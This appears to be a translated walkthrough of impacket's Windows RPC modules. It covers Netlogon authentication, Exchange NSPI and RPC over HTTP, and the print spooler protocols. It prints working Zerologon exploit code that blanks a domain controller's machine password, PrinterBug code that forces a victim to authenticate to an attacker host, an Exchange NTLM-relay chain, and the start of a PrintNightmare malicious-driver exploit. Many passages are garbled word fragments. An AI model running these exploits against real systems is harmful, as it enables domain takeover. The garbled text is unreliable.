Some applications may need to verify messages they send to and receive from a DC. The Netlogon Remote Protocol serves them with methods that compute a cryptographic digest of a message using the machine account or trust password as the key. An application on the DC obtains the digest and includes it in its response to the client; the client-side application computes the digest itself and compares the two — if they match, the client concludes the message really came from the DC.

Administrators may need to control or query Netlogon behavior — e.g. force a machine account password change, or reset the secure channel to a specific DC. Netlogon provides such management services through query and control methods.

The first operation a Netlogon client performs on a domain member is locating a DC in its domain for the secure channel — DC discovery. Once found, the member establishes the secure channel to the DC. All subsequent authentication-related requests from client to DC travel over this channel. The Netlogon Remote Protocol receives user validation data from the DC over the channel and hands it back to the authentication protocol; the OS may also use it periodically to change the machine account password.

Upon receiving a login request, Netlogon determines the account domain of the user being authenticated, determines the trust link toward that domain, finds a DC in the trusted domain over that link, and establishes a secure channel to that DC using the trusted domain's trust password. Netlogon forwards the login request to that DC, receives the user validation data and returns it to the secure-channel client that issued the login. Netlogon also synchronizes the BDC account database with the PDC's, periodically changes the DC's machine account password, and — on a PDC — periodically changes the trust passwords of all directly trusted domains.

The protocol uses the endpoint \PIPE\NETLOGON with interface UUID 12345678-1234-ABCD-EF00-01234567CFFB.

Session key negotiation between client and server happens over an unprotected RPC channel.

Session key negotiation

session

clientserveron Netlogon RPCclientnonceasclient challengeclientchallengeasNetrServerReqChallenge method entryserver

serverclientNetrServerReqChallengeserverasserverchallenge (SC)inclientNetrServerReqChallengemethodserver SC asNetrServerReqChallenge outputclientclientserverthischallengeasclientserver (SC)

clientsessionsession key NegotiateFlags group

clientclientchallengeascredential entryclient Netlogon

clientinNetrServerAuthenticate NetrServerAuthenticate2orNetrServerAuthenticate3 client Netlogon credentialas ClientCredential entrywithserverclient Netlogon

serverNetrServerAuthenticateNetrServerAuthenticate2orNetrServerAuthenticate3 client Netlogon credentialsession keyclient Netlogon credentialclientchallengethiswithclientclient Netlogon credentialifservermustinnotsession

ifclient challenge 5 notinsessionmust

serverserverchallengeas entryserver Netlogon serverreturnsserver Netlogon credentialasNetrServerAuthenticateNetrServerAuthenticate2orNetrServerAuthenticate3ServerCredential output

clientserver Netlogon credentialserver Netlogon credentialserverchallengethiswithserverserver Netlogon credentialthisifclientmustsession key

inclientserver outputsession/or

clientNetrLogonGetCapabilitiesmethod

serverthereturnscurrent(negotiated flags)

theServerCapabilitieswithNegotiateFlagifthensession

clientServerSessionInfo.LastAuthenticationTryservernamesetsascurrentcan

insession ( NetrServerReqChallenge )clientserverclientserversession keyasclientserver Netlogon output session keyinsessionNetrServerAuthenticate / NetrServerAuthenticate2 / NetrServerAuthenticate3 incanin Netlogon CredentialwithCredentialif outputwithCredentialthenclientservershare
assession clientserverNetrServerAuthenticate2 orNetrServerAuthenticate3NegotiateFlags clientNegotiateFlagsgroupas entryserverserverserverwithclientwithas outputreturnsclient

The meaning of each NegotiateFlags bit (bit 0 is the lowest):

Bit:  31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10  9  8  7  6  5  4  3  2  1  0
Flag: 0  Y  X  0  0  0  0  0  W  0  0  V  U  T  S  R  Q  P  O  N  M  L  K  J  I  H  G  F  E  D  C  B  A
Option Meaning
A Not used. MUST be ignored on receipt.
B Presence of this flag indicates that BDCs persistently try to update their database to the PDC's version after they get a notification indicating that their database is out-of-date. Server-to-server only.
C Supports RC4 encryption.
D Not used. MUST be ignored on receipt.
E Supports BDCs handling CHANGELOGs. Server-to-server only.
F Supports restarting of full synchronization between DCs. Server-to-server only.
G Does not require ValidationLevel 2 for nongeneric passthrough.
H Supports the NetrDatabaseRedo (Opnum 17) functionality (section 3.5.4.6.4).
I Supports refusal of password changes.
J Supports the NetrLogonSendToSam (Opnum 32) functionality.
K Supports generic pass-through authentication.
L Supports concurrent RPC calls.
M Supports avoidance of user account database replication. Server-to-server only.
N Supports avoidance of Security Authority database replication. Server-to-server only.
O Supports strong keys.
P Supports transitive trusts.
Q Not used. MUST be ignored on receipt.
R Supports the NetrServerPasswordSet2 functionality.
S Supports the NetrLogonGetDomainInfo functionality.
T Supports cross-forest trusts.
U When this flag is negotiated between a client and a server, it indicates that the server ignores the NT4Emulator ADM element.
V Supports RODC pass-through to different domains.
W Supports Advanced Encryption Standard (AES) encryption (128 bit in 8-bit CFB mode) and SHA2 hashing as specified in sections 2.2.1.3.3, 3.1.4.3, 3.1.4.4, and 3.3.
X Not used. MUST be ignored on receipt.
Y Supports Secure RPC.

The session key supports three derivation methods — AES, strong key and DES:

AES
ComputeSessionKey(SharedSecret, ClientChallenge, 
                   ServerChallenge)
      M4SS := MD4(UNICODE(SharedSecret)) 

      CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
      CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
      CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
      CALL SHA256Result(HashContext, SessionKey);
      SET SessionKey to lower 16 bytes of the SessionKey;

strong key
 SET zeroes to 4 bytes of 0

 ComputeSessionKey(SharedSecret, ClientChallenge,
                   ServerChallenge)

      M4SS := MD4(UNICODE(SharedSecret))

      CALL MD5Init(md5context)
      CALL MD5Update(md5context, zeroes, 4)
      CALL MD5Update(md5context, ClientChallenge, 8)
      CALL MD5Update(md5context, ServerChallenge, 8)
      CALL MD5Final(md5context)
      CALL HMAC_MD5(md5context.digest, md5context.digest length, 
                    M4SS, length of M4SS, output)
      SET Session-Key to output
DES
 ComputeSessionKey(SharedSecret, ClientChallenge, 
                   ServerChallenge)

      M4SS := MD4(UNICODE(SharedSecret))

      SET sum to ClientChallenge + ServerChallenge
      SET k1 to lower 7 bytes of the M4SS
      SET k2 to upper 7 bytes of the M4SS
      CALL DES_ECB(sum, k1, &output1)
      CALL DES_ECB(output1, k2, &output2)
      SET Session-Key to output2

Zerologon is directly tied to the fact that in AES-CFB8 mode the IV is fixed at all zeros (see the analysis below).

image.png

image.png

In CFB mode each round of ciphertext is computed by encrypting the previous round's ciphertext (the IV for the first round) with AES, then XORing with the plaintext to get this round's ciphertext. The first round has no previous ciphertext, hence the initialization vector (IV).

As described above, the client calls NetrServerReqChallenge sending a ClientChallenge, the server answers with a ServerChallenge, and both sides compute a session key from the client's hash, the ClientChallenge and the ServerChallenge. The client computes a ClientCredential from the session key and ClientChallenge and sends it for verification; the server computes the same ClientCredential from the session key and ClientChallenge, and if it matches what the client sent, the client passes authentication. The W flag is specified here, selecting the AES cipher.

img

The client challenge and credential are controllable while the IV is fixed at zero: the server accepts repeated attempts, and on average 256 tries hit a combination that passes credential verification (with challenge and credential both zero, each AES-CFB8 attempt has a 1/256 chance of passing, and the derived session key is then all zeros). At that point NetrServerPasswordSet2 can blank the DC's machine account password and dump the hashes. Remember to restore the password afterwards or the machine drops off the domain — because the machine password stored in AD no longer matches the one in the machine's local LSASS.

Here is the Zerologon exploit code:

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service (EPM resolves the endpoint -> connect -> bind)
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # (1) The core trick: challenge and credential are both all zeros
  plaintext = b'\x00' * 8      # ClientChallenge = 0
  ciphertext = b'\x00' * 8     # ClientCredential = 0

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled
  flags = 0x212fffff

  serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  serverChallenge = serverChallengeResp['ServerChallenge']
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )
    assert server_auth['ErrorCode'] == 0      # (2) each attempt passes verification with probability 1/256; on failure an exception is raised and we retry
    ......

    IV = b'\x00'*16                            # the AES-CFB8 IV is fixed at all zeros
    .....
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = ciphertext    # with an all-zero session key, an all-zero credential passes later checks
    authenticator['Timestamp'] = b"\x00" * 4

    # (3) Use NetrServerPasswordSet2 to blank the machine account password (ClearNewPassword all zeros)
    request = nrpc.NetrServerPasswordSet2()
    request['PrimaryName'] = NULL
    request['AccountName'] = target_computer + '$\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    request['ComputerName'] = target_computer + '\x00'
    request["Authenticator"] = authenticator
    request["ClearNewPassword"] = b"\x00"*516
    resp = rpc_con.request(request)
    resp.dump()

    return rpc_con
  except Exception as e:
    print(e)


def perform_attack(dc_handle, dc_ip, target_computer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):  
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

    if rpc_con == None:
      print('=', end='', flush=True)
    else:
      break

  if rpc_con:
    print('\nSuccess! DC should now have the empty string as its machine password.')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)

MAX_ATTEMPTS = 2000

Excerpt note: the original PoC also carries long blocks of commented-out debug code (NetrLogonGetCapabilities probing, manual sessionKey derivation, NetrLogonSendToSam, ...) unrelated to the attack chain — omitted here.

The code zeroes both challenge and credential, retries until authentication succeeds, then blanks the DC machine account password via NetrServerPasswordSet2. Each attempt succeeds with probability 1/256, independently, so N attempts succeed at least once with probability 1-(255/256)**N — 99.96% over 2000 attempts.

Next let's see which Netlogon methods the module implements:

OPNUMS = {
 0 : (NetrLogonUasLogon, NetrLogonUasLogonResponse),
 1 : (NetrLogonUasLogoff, NetrLogonUasLogoffResponse),
 2 : (NetrLogonSamLogon, NetrLogonSamLogonResponse),NetrLogonSamLogonWithFlags methodpredecessor of
 3 : (NetrLogonSamLogoff, NetrLogonSamLogoffResponse),
 4 : (NetrServerReqChallenge, NetrServerReqChallengeResponse),
 5 : (NetrServerAuthenticate, NetrServerAuthenticateResponse),NetrServerAuthenticate3 methodpredecessor of
# 6 : (NetrServerPasswordSet, NetrServerPasswordSetResponse),
 7 : (NetrDatabaseDeltas, NetrDatabaseDeltasResponse),returnsinSAM SAM orLSA grouporBDCPDCBDCon
 8 : (NetrDatabaseSync, NetrDatabaseSyncResponse),NetrDatabaseSync2 methodpredecessor of
# 9 : (NetrAccountDeltas, NetrAccountDeltasResponse),methodobsolete
# 10 : (NetrAccountSync, NetrAccountSyncResponse),methodobsolete
 11 : (NetrGetDCName, NetrGetDCNameResponse),used forretrievesspecifieddomainPDCNetBIOS name
 12 : (NetrLogonControl, NetrLogonControlResponse),NetrLogonControl2Ex methodpredecessor of
 13 : (NetrGetAnyDCName, NetrGetAnyDCNameResponse),used forretrievesspecifieddomainordomaindomainname DC canreturns the specifieddomain DC name
 14 : (NetrLogonControl2, NetrLogonControl2Response),NetrLogonControl2Ex methodpredecessor of
 15 : (NetrServerAuthenticate2, NetrServerAuthenticate2Response),
 16 : (NetrDatabaseSync2, NetrDatabaseSync2Response),returnsgroupused forspecifiedallas BDC withPDC. returnsthisinreturnsallthisthismethodoninretrievesalleventthisthemethodinspecifiedmustin
 17 : (NetrDatabaseRedo, NetrDatabaseRedoResponse),
 18 : (NetrLogonControl2Ex, NetrLogonControl2ExResponse),used forqueries Netlogon server
 19 : (NetrEnumerateTrustedDomains, NetrEnumerateTrustedDomainsResponse),returnsgroupdomainNetBIOSname
 20 : (DsrGetDcName, DsrGetDcNameResponse),DsrGetDcNameEx2 methodpredecessor of
 21 : (NetrLogonGetCapabilities, NetrLogonGetCapabilitiesResponse),clientNetrLogonGetCapabilitiesmethodinserver
 22 : (NetrLogonSetServiceBits, NetrLogonSetServiceBitsResponse),used for Netlogondomaininspecified
 23 : (NetrLogonGetTrustRid, NetrLogonGetTrustRidResponse),used forthisserverobtainsspecifieddomaindomain used for passwordRID
 24 : (NetrLogonComputeServerDigest, NetrLogonComputeServerDigestResponse),
 25 : (NetrLogonComputeClientDigest, NetrLogonComputeClientDigestResponse),
 26 : (NetrServerAuthenticate3, NetrServerAuthenticate3Response),
 27 : (DsrGetDcNameEx, DsrGetDcNameExResponse),DsrGetDcNameEx2methodpredecessor of
 28 : (DsrGetSiteName, DsrGetSiteNameResponse),returnsthisspecified name
 29 : (NetrLogonGetDomainInfo, NetrLogonGetDomainInfoResponse),returnsspecifiedclientcurrentdomaininformation
 30 : (NetrServerPasswordSet2, NetrServerPasswordSet2Response),
 31 : (NetrServerPasswordGet, NetrServerPasswordGetResponse),
 32 : (NetrLogonSendToSam, NetrLogonSendToSamResponse),
 33 : (DsrAddressToSiteNamesW, DsrAddressToSiteNamesWResponse),
 34 : (DsrGetDcNameEx2, DsrGetDcNameEx2Response),returns information aboutspecifieddomaindomain (DC)informationifAccountName notas NULLFlags DC inthismethodthenthe DC DC containingspecifiedAccountName thisservernot DC
 35 : (NetrLogonGetTimeServiceParentDomain, NetrLogonGetTimeServiceParentDomainResponse),returnscurrentdomainrealmthemethodreturnsrealm entryNetrLogonGetTrustRid methodNetrLogonComputeClientDigest method
 36 : (NetrEnumerateTrustedDomainsEx, NetrEnumerateTrustedDomainsExResponse),returns specifiedserver domainlist
 37 : (DsrAddressToSiteNamesExW, DsrAddressToSiteNamesExWResponse),
 38 : (DsrGetDcSiteCoverageW, DsrGetDcSiteCoverageWResponse),returnsdomain list
 39 : (NetrLogonSamLogonEx, NetrLogonSamLogonExResponse),
 40 : (DsrEnumerateDomainTrusts, DsrEnumerateDomainTrustsResponse),
 41 : (DsrDeregisterDnsHostRecords, DsrDeregisterDnsHostRecordsResponse),
 42 : (NetrServerTrustPasswordsGet, NetrServerTrustPasswordsGetResponse),returnsdomaincurrentpasswordclientthismethoddomainretrievescurrentpassword
 43 : (DsrGetForestTrustInformation, DsrGetForestTrustInformationResponse),retrievesspecifieddomain (DC)orspecified DC information
 44 : (NetrGetForestTrustInformation, NetrGetForestTrustInformationResponse),retrievesdomain information
 45 : (NetrLogonSamLogonWithFlags, NetrLogonSamLogonWithFlagsResponse),
 46 : (NetrServerGetTrustInfo, NetrServerGetTrustInfoResponse),
# 48 : (DsrUpdateReadOnlyServerDnsRecords, DsrUpdateReadOnlyServerDnsRecordsResponse),
# 49 : (NetrChainSetClientAttributes, NetrChainSetClientAttributesResponse),
}

[MS-NSPI / MS-OXNSPI] nspi.py — Exchange Address Book Protocol

The Name Service Provider Interface (NSPI) protocol gives messaging clients a way to access and manipulate addressing data stored by the server.

The module implements the following methods:

OPNUMS = {
 MS-OXNSPI / MS-NSPI
 0 : (NspiBind, NspiBindResponse),methodclientserversession
 1 : (NspiUnbind, NspiUnbindResponse),methodonhandle
 2 : (NspiUpdateStat, NspiUpdateStatResponse),methodSTAT client
    3  : (NspiQueryRows, NspiQueryRowsResponse),
 4 : (NspiSeekEntries, NspiSeekEntriesResponse),methodsetsasorspecifiedorreturns information aboutinformation
#    5  : (NspiGetMatches, NspiGetMatchesResponse),
#    6  : (NspiResortRestriction, NspiResortRestrictionResponse),
    7  : (NspiDNToMId, NspiDNToMIdResponse),
 8 : (NspiGetPropList, NspiGetPropListResponse),methodreturnsinspecifiedobjectonalllist
 9 : (NspiGetProps, NspiGetPropsResponse),methodreturnscontainingobjectoningroup
 10 : (NspiCompareMIds, NspiCompareMIdsResponse),method IDobjectinreturns
#    11 : (NspiModProps, NspiModPropsResponse),
 12 : (NspiGetSpecialTable, NspiGetSpecialTableResponse),method returnsclientcanor
 13 : (NspiGetTemplateInfo, NspiGetTemplateInfoResponse),methodreturns information aboutobjectinformation
 14 : (NspiModLinkAtt, NspiModLinkAttResponse),methodmodifiesmodifiesasDT_DISTLISTobjectPidTagAddressBookMember PidTagAddressBookPublicDelegates as DT_MAILUSER object
#    15 : (NspiDeleteEntries, NspiDeleteEntriesResponse),
 16 : (NspiQueryColumns, NspiQueryColumnsResponse),methodreturnsserveralllistthislistas proptags groupreturns
 MS-NSPI
 17 : (NspiGetNamesFromIDs, NspiGetNamesFromIDsResponse), methodreturnsgroupproptagsnamelist
 18 : (NspiGetIDsFromNames, NspiGetIDsFromNamesResponse),returnsgroupnameproptagslist
 19 : (NspiResolveNames, NspiResolveNamesResponse),method 8 groupANR
 20 : (NspiResolveNamesW, NspiResolveNamesWResponse),methodUnicode groupANRname
}

The interface is mainly used with Exchange to obtain mailbox and account information via the NSPI functions:

# eg./examples/exchanger.py
class NSPIAttacks(Exchanger):
    ......

    def update_stat(self, table_MId):
        stat = nspi.STAT()
        stat['CodePage'] = CP_TELETEX
        stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId)

        resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat)
        self.stat = resp['pStat']

    def load_htable(self):
        resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler)
        resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows'])

        self._parse_and_set_htable(resp_simpl)

    def load_htable_stat(self):
        for MId in self.htable:
            self.update_stat(MId)
            self.htable[MId]['count'] = self.stat['TotalRecs']
            self.htable[MId]['start_mid'] = self.stat['CurrentRec']
            ......

[MS-OXABREF] oxabref.py — Address Book NSPI Referral Protocol

The Address Book Name Service Provider Interface (NSPI) Referral Protocol redirects client address-book requests to the appropriate address book server. MS-OXNSPI is one of the protocols Outlook uses to access the address book; MS-OXABREF is its companion protocol, used to obtain the actual RPC server name, connect to it through the RPC Proxy, and then use the main protocol.

The module implements two methods:

OPNUMS = {
 0 : (RfrGetNewDSA, RfrGetNewDSAResponse),methodreturnsNSPI serverorservergroupname
 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),methodreturnswithDNserverrealm (DNS) FQDN
}

No public exploit scripts or known vulnerabilities appear to involve this interface.

[MS-RPCH] rpch.py — RPC over HTTP v2 (Exchange relay surface)

Using HTTP or HTTPS as the transport for RPC — RPC over HTTP.

The RPC over HTTP protocol includes the following provisions to meet the requirements of using HTTP:

  • Duplex communication over virtual channels.
  • Streaming semantics by sending content incrementally from the message body.
  • A series of HTTP requests/responses instead of an infinite data stream with chunked transfer encoding

RPC over HTTP has two major protocol versions:

RPC over HTTP v1 (communicating through a combined proxy)

RPC over HTTP v1 roles

RPC over HTTP v2 (separate inbound and outbound proxies)

RPC over HTTP v2 roles

The client tries sending messages with and without an HTTP proxy. If it gets a response without the proxy, it skips the proxy for subsequent communication; if only proxied attempts succeed, it uses the proxy.

Even when the inbound and outbound proxy roles run on the same network node, the roles are preserved as defined; the protocol does not assume they co-locate — load balancing and clustering may place them on different nodes.

Conceptually the RPC over HTTP protocol treats RPC PDUs as an ordered sequence — a stream of PDUs — flowing from client to server or server to client. The protocol does not modify or consume the PDUs; the only exception is HTTPS with RPC over HTTP v2, where PDUs are encrypted at the HTTP client and decrypted at the inbound/outbound proxy.

The module mainly implements the RPC over HTTP v2 functions:

def hCONN_A1(virtualConnectionCookie=EMPTY_UUID, outChannelCookie=EMPTY_UUID, receiveWindowSize=262144):
#CONN/A1 RTS PDU mustclient OUT on output
def hCONN_B1(virtualConnectionCookie=EMPTY_UUID, inChannelCookie=EMPTY_UUID, associationGroupId=EMPTY_UUID):
#CONN/B1 RTS PDU mustclient IN on entry
def hFlowControlAckWithDestination(destination, bytesReceived, availableWindow, channelCookie):
#FlowControlAckWithDestination RTS PDU must
def hPing():
#Ping RTS PDU theclient entry outputclient

It also implements an RPC client proxy class for talking to the RPC server.

To use RPC over HTTP you supply an address and port, in the form /rpc/rpcproxy.dll?RemoteName:RemotePort. The default ACL relies on RemoteName, specified under the registry key HKLM\SOFTWARE\Microsoft\Rpc\RpcProxy:

# eg.ValidPorts    REG_SZ   COMPANYSERVER04:593;COMPANYSERVER04:49152-65535

If the caller sets RemoteName to an empty string, the target is assumed to be the RPC proxy server itself and its NetBIOS name is obtained from NTLMSSP. If an administrator renames the server after installing the RPC Proxy, or joins it to a domain afterwards, the ACL stays as it was.

Exchange relay and rpcmap

For Exchange servers the default ACL values hardly matter, because they allow connections through their own machinery: - Exchange 2003 / 2007 / 2010 servers add their own ACL containing the NetBIOS names of all Exchange servers (and a few others), automatically refreshed on each server. Allowed ports: 6001-6004 - 6001 for MS-OXCRPC - 6002 for MS-OXABREF - 6003 unused - 6004 for MS-OXNSPI - Testing on Exchange 2010 showed MS-OXNSPI and MS-OXABREF are available on both 6002 and 6004. - Exchange 2013 / 2016 / 2019 handle RemoteName themselves (via RpcProxyShim.dll); the NetBIOS name format is supported only for backward compatibility. - Testing showed all protocols work over RPC over HTTP v2 on ports 6001 / 6002 / 6004; the separation exists only for backward compatibility. - Pure ncacn_http endpoints are available only on TCP port 6001. - RpcProxyShim.dll lets you skip RPC-level authentication for faster connections, which makes Exchange 2013 / 2016 / 2019 RPC over HTTP v2 endpoints vulnerable to NTLM relay. - If the target Exchange sits behind Microsoft TMG you will likely have to specify RemoteName manually using values from /autodiscover/autodiscover.xml. - Note that /autodiscover/autodiscover.xml may not work for non-Outlook user agents. Multiple RPC proxy servers with different NetBIOS names may share one external IP — we store the first NetBIOS name and reuse it for all subsequent channels. - For Exchange it is safe to assume all RPC proxies share the same ACL

The Exchange notes above are distilled from the rpch module's comments on Outlook Anywhere.

In Microsoft Exchange Server 2013, Outlook Anywhere (formerly RPC over HTTP) lets Outlook 2013 / 2010 / 2007 clients connect to Exchange from outside the corporate network or over the Internet using the RPC over HTTP Windows networking component.

Simply put, Exchange defines several RPC services that operate mailboxes directly, exposed via /Rpc/*, and users reach their own mailbox over RPC over HTTP.

Per Arseniy Sharoglazov's "attacking-ms-exchange-web-interfaces", the ruler tool attacks via RPC over HTTP v2:

img

img

The endpoint /rpc/rpcproxy.dll is actually not part of Exchange. It belongs to the service called RPC Proxy — an intermediate forwarding server between RPC client and RPC server. By specification every client must go through the RPC proxy to reach an ncacn_http service, but of course you can impersonate an RPC proxy and connect to the ncacn_http endpoint directly. The RPC IN and OUT channels operate independently, may pass through different RPC proxies, and the RPC server may live on yet another host.

examples/rpcmap.py calls mgmt's ifids over RPC over HTTP v2 to enumerate UUIDs and probe which endpoints are reachable via RPC over HTTP v2:

  def do(self):
        try:
            # (1) bind the MGMT interface first; hinq_if_ids returns every interface UUID registered by the target process
            self.__dce.bind(mgmt.MSRPC_UUID_MGMT)
            ifids = mgmt.hinq_if_ids(self.__dce)

            # -brute-uuids: fall back to brute-forcing UUIDs when enumeration fails
            # (kept after hinq_if_ids so repeated attempts don't lock out the specified account)
            if self.__brute_uuids:
                self.bruteforce_uuids()
                return

            uuidtups = set(
                uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
                for index in range(ifids['if_id_vector']['count'])
              )
            uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'))   # MGMT itself

            # (2) print each UUID: KNOWN_PROTOCOLS / KNOWN_UUIDS resolve protocol and provider names
            for tup in sorted(uuidtups):
                self.handle_discovered_tup(tup)
                ......

def handle_discovered_tup(self, tup):
        # KNOWN_UUIDS hits print the Provider; optionally brute-force versions / opnums
        if tup[0] in epm.KNOWN_PROTOCOLS:
            print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]))
        ......

        print("UUID: %s v%s" % (tup[0], tup[1]))

        if self.__brute_versions:
            self.bruteforce_versions(tup[0])

        if self.__brute_opnums:
            try:
                self.bruteforce_opnums(uuid.uuidtup_to_bin(tup))
            except DCERPCException as e:
                if str(e).find('abstract_syntax_not_supported') >= 0:
                    print("Listening: False")
                else:
                    raise

Since /Rpc/* is plain HTTP/HTTPS, it can be relayed: once authentication is bypassed at /Rpc/RpcProxy.dll, any user can be impersonated and their mailbox operated over RPC over HTTP:

  • Establish RPC_IN_DATA and RPC_OUT_DATA channels to ex02;
  • Trigger PrinterBug on ex01 and relay to ex02;
  • Attach the X-CommonAccessToken header to impersonate the target user and gain admin on both Exchange servers;
  • Interact with Outlook Anywhere via the wire formats of MS-OXCRPC and MS-OXCROPS over MS-RPCH ......

[MS-PAR] par.py — Async Print Protocol (MS-RPRN enhanced)

The Print System Asynchronous Remote Protocol defines the exchange of print-job-processing and print-system-management information between print clients and print servers; it is the asynchronous, enhanced successor of [MS-RPRN], providing stronger authentication on RPC calls.

The module implements the following methods:

OPNUMS = {
 0 : (RpcAsyncOpenPrinter, RpcAsyncOpenPrinterResponse),specifiedprintprintorprintserverhandleclientthismethodobtainsonprintprinthandle
    #1  : (RpcAsyncAddPrinter, RpcAsyncAddPrinterResponse),
 20 : (RpcAsyncClosePrinter, RpcAsyncClosePrinterResponse),closesRpcAsyncOpenPrinterorRpcAsyncAddPrinteropensprintserverorobjecthandle
 38 : (RpcAsyncEnumPrinters, RpcAsyncEnumPrintersResponse),enumeratesprintspecifiedprintserveronprintspecifieddomainprintorprint
 39 : (RpcAsyncAddPrinterDriver, RpcAsyncAddPrinterDriver),inspecifiedprintserveronspecifiedorprintdriverdriver
 40 : (RpcAsyncEnumPrinterDrivers, RpcAsyncEnumPrinterDriversResponse),enumeratesinspecifiedprintserveronprintdriver
 41 : (RpcAsyncGetPrinterDriverDirectory, RpcAsyncGetPrinterDriverDirectoryResponse)retrievesspecifiedprintserveronprintdriver
}

Note: upstream impacket's par.py really does write the second tuple element of opnum 39 as RpcAsyncAddPrinterDriver (never referencing the defined RpcAsyncAddPrinterDriverResponse); kept verbatim from source.

No public exploit scripts or known vulnerabilities appear to involve this interface.

[MS-RPRN] rprn.py — Print System Protocol (PrinterBug / PrintNightmare)

The Print System Remote Protocol supports synchronous printing and spooler operations between client and server, including print-job control and print-system administration. Its enhanced replacement is specified in [MS-PAR], which provides a higher level of authentication on client/server RPC calls.

The never-patched PrinterBug abuses this protocol to trigger connections — many intranet relay attacks use it to force authentication, and PrintNightmare is another malicious use of the same protocol.

Let's first look at which interface methods the module implements:

OPNUMS = {
 0 : (RpcEnumPrinters, RpcEnumPrintersResponse),enumeratesprintprintserverdomainorprint
 1 : (RpcOpenPrinter, RpcOpenPrinterResponse),retrievesprintprintorprintserverhandle
 10 : (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),enumeratesinspecifiedprintserveronprintdriver
 12 : (RpcGetPrinterDriverDirectory, RpcGetPrinterDriverDirectoryResponse),retrievesprintdriver
 29 : (RpcClosePrinter, RpcClosePrinterResponse),closesprintobjectserverobjectobjectorobjecthandle



 65 : (RpcRemoteFindFirstPrinterChangeNotificationEx, RpcRemoteFindFirstPrinterChangeNotificationExResponse), creates aobjectprintobject RpcRouterReplyPrinter or RpcRouterReplyPrinterEx printclient
 # 1. objectused forusersets
 # 2. returnsclientservermustthemustin pszLocalMachine namespecifiedclienton RpcReplyOpenPrinter
 # 3. objectwith hPrinter on
 # 4. onservertheclientaddsprintobjectorserverobjectclientlistobject RpcRouterReplyPrinter or RpcRouterReplyPrinterEx client
 # 5. methodnot RpcRemoteFindFirstPrinterChangeNotification Ex RpcRouterReplyPrinter fdwFlags or RpcRouterReplyPrinterEx information
 # 6. returns





 69 : (RpcOpenPrinterEx, RpcOpenPrinterExResponse),retrievesprintprintorprintserverhandle
 89 : (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse), inprintserveronprintdriver RpcAddPrinterDriverspecifieddrivertimestampall
}

PrinterBug and PrintNightmare

In printerbug, the lookup method uses RpcRemoteFindFirstPrinterChangeNotificationEx to make the victim connect back to the attacker (sample code is Python 2):

    def lookup(self, rpctransport, host):
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)
        logging.info('Bind OK')
        try:
            resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host)
        except Exception, e:
            if str(e).find('Broken pipe') >= 0:
                # The connection timed-out. Let's try to bring it back next round
                logging.error('Connection failed - skipping host!')
                return
            elif str(e).upper().find('ACCESS_DENIED'):
                # We're not admin, bye
                logging.error('Access denied - RPC call was denied')
                dce.disconnect()
                return
            else:
                raise
        logging.info('Got handle')

        request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
        request['hPrinter'] =  resp['pHandle']
        request['fdwFlags'] =  rprn.PRINTER_CHANGE_ADD_JOB
        request['pszLocalMachine'] =  '\\\\%s\x00' % self.__attackerhost
        request['pOptions'] =  NULL
        try:
            resp = dce.request(request)
        except Exception as e:
            print(e)
        logging.info('Triggered RPC backconnect, this may or may not have worked')

        dce.disconnect()

        return None

Print Spooler is the Windows service managing printing: spooling print jobs, interacting with printers, and managing all local and network print queues. Its process spoolsv.exe runs as SYSTEM, and its design had a severe flaw: the validation logic of RpcAddPrinterDriverEx is flawed (the SeLoadDriverPrivilege-related checks can be bypassed), its parameters are attacker-controllable, and a normal user can trigger it over RPC to write a malicious driver past the security checks. In a vulnerable domain, any ordinary user can connect to a DC's Spooler service, load a malicious driver, and take over the entire domain.

def main(dce, pDriverPath, share, handle=NULL):
    #build DRIVER_CONTAINER package
    container_info = rprn.DRIVER_CONTAINER()
    container_info['Level'] = 2
    container_info['DriverInfo']['tag'] = 2
    container_info['DriverInfo']['Level2']['cVersion']     = 3
    container_info['DriverInfo']['Level2']['pName']        = "1234\x00"
    container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
    container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
    container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\winhttp.dll\x00"

    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
    filename = share.split("\\")[-1]

